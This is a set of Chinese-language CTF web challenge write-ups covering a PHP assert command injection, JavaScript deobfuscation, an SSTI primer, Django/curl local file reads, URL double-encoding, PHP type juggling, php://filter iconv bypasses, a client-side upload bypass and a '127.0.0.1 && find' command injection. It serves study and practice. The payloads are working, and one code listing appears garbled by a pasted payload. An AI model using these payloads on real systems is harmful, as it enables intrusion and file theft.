刷题

mfw

Git是一个版本控制系统,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" 1') or system('cat+./templates/flag.php');// . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
```

payload:

1
?page=') or system('cat ./templates/flag.php');//

传入之后变成:

1
$file="templates/') or system('cat ./templates/flag.php');//.php"

strpos()返回false,再利用or让其执行system函数,再用” // “将后面的语句注释掉

1
assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

下划线内容被注释掉了,所以assert执行了以下语句

1
strpos('template/') or system('cat ./template/flag.php');

or:如果表达式1为 true,那么整个逻辑或操作返回 true,不会再去计算表达式2,这被称为”短路评估”,如果表达式1为 false,那么整个逻辑或操作会继续评估表达式2,如果表达式2为 true,则整个操作返回 true,否则返回 false

右键查看源代码

image-20230927110013408

simple_js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

</script>
</head>

</html>

代码实际上就是将pass的用逗号分隔的数字当作ascii转换为字母,无论dechiffre函数传参什么,结果都是 FAUX PASSWORD HAHAimage-20230927123112312

可以直接猜测dechiffre函数传参的那一串转换为文本

16进制转字符串:https://www.bejson.com/convert/ox2str/

55,56,54,79,115,69,114,116,107,49,50

ascii转文本:https://www.67tool.com/number/ascii-to-text

786OsErtk12

初探SSTI

MVC是一种框架型模式,全名是Model View Controller,即模型-视图-控制器,这是一种业务逻辑、数据、界面显示分离的组织代码方式,便于web网站的维护和开发

模型:处理数据验证,控制器:在模型和视图之间传递数据,视图:显示信息给用户

过程:用户的输入请求通过 View 接收,交给 Controller ,然后由 Controller 调用 Model ,验证信息后返回正确或错误给 Controller, Controller要求处理相应(正确则显示相应信息,错误404)的视图返回给浏览器。

模板(ssti漏洞产生原因):是View 中会大量地用到的一种技术,用于定义数据如何渲染成最终的用户界面,而用户的输入由view接收,用户的恶意输入未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题,这样的服务器端模板引擎漏洞就是ssti漏洞。

常见的模板引擎

Python:jinja2、 mako、 tornado(框架)、 django

php:smarty、 twig

java:jade、 velocity

模板引擎生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,放到渲染函数里,生成模板+用户数据的前端html页面,最后反馈给浏览器。大部分模板引擎有提供沙箱隔离机制 , 但存在沙箱逃逸技术来绕过,这个后面再了解

image-20230927230411892

框架:在Web开发中,框架和模板通常一起使用。框架提供了应用程序的整体结构和逻辑,包括路由、控制器和数据模型等。模板则负责将数据渲染成HTML或其他格式的用户界面,以便呈现给终端用户。框架通常提供一种将数据传递给模板的机制。

Twig(PHP)

Twig是一个用于PHP的流行的模板引擎

Flask框架

渲染方法有两种 : render_template()render_template_string()

ender_template() 函数,渲染一个指定的文件 , 这个指定的文件其实就是模板

image-20230927231612877

image-20230927231620453

image-20230927231649505

render_template_string() 函数渲染一个字符串

image-20230927231655444

image-20230927231701528

render_template_string()函数->ssti

ssti简单例子

1
2
3
4
@app.route('/test')
def test():
html = '{{12*12}}'
return flask.render_template_string(html)

在flask框架中,模板引擎Jinja2会将{{ --- }}视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行(flask+Jinja2是比较常用的组合)

引擎判断

image-20230927232317680

绿色为执行成功,红色为执行失败,{{7*'7'}}在Twig中返回49,在Jinja2中返回77777777

框架和模板概念区分

许多框架采用了MVC设计模式作为其架构的一部分,mvc是一种设计模型,而框架是以mvc为设计架构一部分的实体,Flask框架本身不是一个严格的MVC(Model-View-Controller)框架,但它提供了足够的灵活性,可以根据开发人员的需要实现MVC结构或其他类似的设计模式。

cat

抓包加入字典判断猜测

image-20230929163500908

传%80,根据报错信息,网页中出现大量Django,说明是Django框架,匹配报错信息中database关键字

image-20230929171119595

根据database的目录,我们使用@进行文件传递,对文件进行读取之后还会把内容传给url参数,如果像上面一样有超出解析范围的编码的时候就会得到错误信息

1
?url=@/opt/api/database.sqlite3

页面搜索ctf,找到flag

?url=@/opt/api/api/settings.py也可以访问配置文件settings.py,但是其实在上面的报错信息中就可以找到database的路径。另外,上面的报错信息是html代码,所以可以复制代码,打开为网页查看

image-20230929174327555

image-20230929174353265

这里就可以直观的看到setting中的database信息

附录:

url编码:当 URL 路径或者查询参数中,带有中文或者特殊字符的时候,需要对 URL 进行编码。URL 之所以需要编码,是因为 URL 中的某些字符会引起歧义,比如 URL 查询参数中包含了”&”或者”%”就会造成服务器解析错误。需要注意的是url编码采用的是十六进制,参照ascii码,比如?编码后是%3F->63->?

image-20230929170444274

从1-127,因为%80的16进制解码后是128,超出了ascii的表示范围,所以会报错,%df,%a0同理

curl参数上传:在PHP中使用CURL进行文件上传时,@符号加上文件路径,CURL将自动读取该文件内容并将其作为请求参数,即使输入的文件路径有错或不存在,CURL仍然可以正常上传。

PHP2

查看index.phps,相当于是index.php的备份吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

在url链接里直接运行,浏览器会进行一次url解码,所以要传入二次编码,就把a编码,由于a是在ascii表中,所以编码后依然是a,但我们知道a的ascii是97,所以%61解码后是a,直接再次编码,%2561

payload:?id=%2561dmin

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?

admin是字符串,开头不是数字,所以和0弱相等,经过测试admin在if条件判断中为真,所以if($a==0 and $a)为真,b=1235c,不是纯数字,开头数字大于1234即可

fileclude

image-20231010145235176

1
2
3
4
5
$a[]='flag.php';   

$a=array('flag.php');

$a=['flag.php'];

这里嵌套,使用第三种形式

1
?a=1e9&b=53724&c={"m":"2033a","n":array(array(1,0),0)} 

如果是c={"m":"2033%00","n":[[0,2],0]},就需要url编码,最好都编码一下

file_include

image-20231010150216244

include一个check.php,说明一定有过滤,常规php://filter/read=convert.base64-encode/resource=flag.php
image-20231010150320739

尝试给filename传read、base64,encode被过滤,知道了过滤点,flag没有过滤
绕过:convert.过滤器支持convert.iconv.格式
使用方法:

1
2
3
convert.iconv.<input-encoding>.<output-encoding>

convert.iconv.<input-encoding>/<output-encoding>
1
php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

php支持的编码格式(部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)

upload1

image-20231010153053389

想上传.php后缀发现弹窗

image-20231010153126518

上传键被禁

image-20231010153212033

删了这个disable,直接上传即可

127.0.0.1 && find / -name "flag*" 找不到flag的时候可以直接搜